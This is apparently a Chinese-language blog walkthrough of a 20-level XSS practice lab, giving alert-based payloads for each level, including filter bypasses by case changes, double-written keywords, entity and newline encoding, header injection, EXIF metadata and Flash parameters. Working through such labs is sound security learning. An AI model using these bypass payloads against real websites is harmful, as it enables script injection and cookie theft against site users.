# 第一关

?name=<script>alert(1)</script>

# 第二关

闭合前面的,就可以弹窗

?keyword=test"><script>alert(1)</script>
?keyword=test" onmouseover=alert(2) >click

# 第三关

单引号,没有过滤,所以此处尝试 js 语句,' onmouseover=alert (2) 测试

'onmouseover=alert(2) >click
'onmouseover=alert(2)//

这里很不明白,为啥不注释后面,也能弹窗。对第一个 payload 不是很理解

# 第四关

payload 不能出现 <> ,并且不被 htmlspecialchars () 函数影响

onfocus 事件:定义的事件将在对象获得焦点时触发,这里指 input 标签获得焦点。

autofocus 属性:input 标签的属性,当页面加载 input 标签,自动获得焦点。

"onfocus=alert(4) autofocus="

# 第五关

把 < script 转换为 < scr_ipt,on 转换成 o_n,这样就过滤了 js 事件,str=strtolowe**r (_GET [''keyword"]); 大小写绕过也会失效,不过这次没有过滤尖括号 ><。

这里用伪协议来构造 payload:

"><iframe src=javascript:alert(5)>
"><a href="javascript:alert(5)">click me!!!</a>
"><a href="javascript:%61lert(5)">click me !!!</a>//

# 第六关

经过查看源代码发现过滤了很多的字符,其中 < script 转换成 < scr ipt,on 转换成 o_n,src 转换成 sr_c,data 转换成 da_ta,href 转换成 hr_ef,和上一关相比较这一关没有大小写的约束,于是可以变化大小写来绕过。

"> <SCRIpt>alert(6)</SCriPT>
"> <img Src=a ONerrOR=alert(6)>//
"> <a HrEf="javascript:alert(6)">click me!!!</a>//
"><svg x="" ONclick=alert(6)>
" ONclick=alert(6) //

# 第七关

代码显示,script,on,src,data,href 都直接转换成空了,大小写也不能用了。所以尝试双写绕过。

"><scscriptript>alert(7)<sriscriptpt>
"oonnmouseover=alert(7)//
"><a hrhrefef=javascrscriptipt:alert(7)>CLICK ME !!!</a>//
"><a hrhrefef=javasc&#x0072;ipt:alert`1`>CLICK ME !!!</a>//

# 第八关

"script" 转换为 "scr_ipt"
"on" 转换为 "o_n"
"src" 转换为 "sr_c"
"data" 转换为 "da_ta"
"href" 转换为 "hr_ef"
" 转换为 & quot
大小写过滤并被编码

><,单引号,%,#,& 符号没有被过滤,输出点在 a 标签内,href 属性中,属性里的双引号被转换成 HTML 实体,无法截断属性,这里可以使用伪协议绕过 javascript:alert,由于 script 关键字被过滤,javascript 会被替换成 javasc_ript,使用 &#x72 来代替 r, 伪协议后面可以使用 URL 编码进行编码。

javascri&#x70;&#x74;:alert(8)
javasc&#x72;&#x69;pt:%61lert(8)
javasc&#x72;&#x69;pt:%61lert`1`
javasc&#x0072;ipt:alert`1`

# 第九关

"script" 转换为 "scr_ipt"
"on" 转换为 "o_n"
"src" 转换为 "sr_c"
"data" 转换为 "da_ta"
"href" 转换为 "hr_ef"
" 转换为 & quot
和上一关差不多,不同的是多了自动检测 URL,如果发现没有带 http:// 内容则会显示为不合法。

javascrip&#x74;:alert (9)//http://a.com//  利用注释
javascrip&#x74;:%0dhttp://a.com%0dalert (9) //  不利用注释
javascrip&#x74;:%0ahttp://a.com%0dalert (9) // 不利用注释

# 第十关

从隐藏的输入框下手,构造 payload。

?t_sort="type="text" onclick="alert(10)

# 第 11 关

分析代码,相比上一关,多了一个 str11=$_SERVER ['HTTP_REFERER']; 验证的是 http 头部的 xss 注入,使用 burp 抓包,修改相应的字段,构造 http 头部 referer 的 payload。

Referer:" onmouseover=alert(11) type="text"
Referer:" onclick="alert(11)" type="text

# 第 12 关

构造头部 User-Agent 的 payload。

User-Agent:" onmouseover=alert(11) type="text"
User-Agent:" onclick="alert(11)" type="text

# 第 13 关

构造头部 Cookie 的 payload。

Cookie:" onmouseover=alert(13) type="text"
Cookie:" onclick="alert(13)" type="text

# 第 14 关

exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的 exif 元数据被修改为 xss payload,成功利用弹窗

具体实现使用kali下的exiftool工具,命令如下:
exiftool -FIELD=XSS FILE
exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg
windows操作系统                                 
鼠标右键进入属性页面
双击照相机制造商,直接填写payload

不足:

题目环境问题,这里没有进行复现,下次一定

# 第 15 关

这一关是关于 angular js 的知识,ng-include 有包含文件的意思,也就是相当于 php 里面的 include,此处可以包含第一关的页面。

level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'

# 第 16 关

查看代码发现大小写绕过失效,script、/、, 等都被转换成 & nbsp,这时,可以尝试使用 %0a,%0d 来进行绕过。

Keyword=<img%0dsrc=a%0donerror=alert(16)>
Keyword=<iframe%0dsrc=0%0donmouseover=alert`16`></iframe>
Keyword=<svg%0aonload=alert`16`></svg>

# 第 17 关

不能出现 <> " ,用下面绕过

arg01=a&arg02=%20onmouseover=alert`1`

# 第 18 关

不能出现 <> " ,用下面绕过

arg01=a&arg02=%20onmouseover=alert`1`

# 第 19 关

插件不受支持,不知道如何测试了

level19.php?arg01=version&arg02=<a%20href="javascript:alert(1)">111111</a>

# 第 20 关

插件不受支持,不知道如何测试了

level20.php?arg01=a&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

image-20210806134122337

# 不足之处:

1.19 与 20 关的 flash xss 不是很明白

2. 不同绕过思路,没办法熟练使用

3. 对各种 xss payload 认识,不上很清晰

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝